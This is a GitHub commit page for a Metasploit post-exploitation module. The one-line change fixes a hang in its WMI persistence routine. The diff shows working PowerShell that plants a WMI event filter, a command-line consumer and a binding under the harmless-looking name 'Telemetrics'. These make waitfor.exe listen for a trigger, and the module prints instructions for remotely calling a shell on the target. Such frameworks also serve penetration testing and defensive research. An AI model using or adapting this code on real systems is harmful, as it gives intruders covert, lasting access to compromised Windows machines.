Skip to content

Commit bc8de0f

Browse files
committed
fixed issue where starting waitfor.exe would hang the module
1 parent aa18598 commit bc8de0f

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/windows/local/wmi_persistence.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,6 @@ def exploit
110110
remove_persistence
111111
when 'WAITFOR'
112112
psh_exec(subscription_waitfor)
113-
cmd_exec("waitfor.exe", args = " #{datastore['WAITFOR_TRIGGER']}")
114113
print_good "Persistence installed! Call a shell using \"waitfor.exe /S <target_ip> /SI "+datastore['WAITFOR_TRIGGER']+"\""
115114
remove_persistence
116115
end
@@ -189,6 +188,7 @@ def subscription_waitfor
189188
$filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
190189
$consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
191190
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
191+
Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
192192
HEREDOC
193193
end
194194

0 commit comments

Comments
 (0)